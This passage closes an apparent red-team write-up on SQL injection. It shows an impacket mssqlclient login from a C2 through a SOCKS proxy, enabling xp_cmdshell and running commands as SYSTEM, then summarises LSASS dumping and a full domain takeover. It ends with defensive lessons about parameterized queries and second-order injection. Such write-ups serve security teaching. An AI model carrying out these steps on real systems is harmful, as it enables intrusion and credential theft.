We used impacket-mssqlclient to connect to the database directly from our C2 (proxied via SOCKS) using these credentials.
mssqlclient.py wealth/svc_legacy_backup@10.10.10.50
This user was a sysadmin (classic misconfiguration: backup accounts often have high privileges).
enable_xp_cmdshell -> Success.
xp_cmdshell whoami -> nt authority\system.
The Aftermath#
From there, we dumped the LSASS process, retrieved the Domain Admin hash, and compromised the entire Windows domain. The root cause? A single un-sanitized search parameter and a “Profile Nickname” field that no one thought to test for SQLi.
Conclusion#
Advanced SQL injection is a game of cat and mouse. As defenders adopt parameterized queries and WAFs, red team operators must become more surgical, employing manual UNION techniques, error-based extraction, blind inference, and OOB exfiltration. Second-order injection reminds us that security must be applied consistently, not just at the point of input.
The database is the heart of the organization. It stores credentials, customer data, financial records, and intellectual property. Master the injection, and you own the heart.
Happy hacking!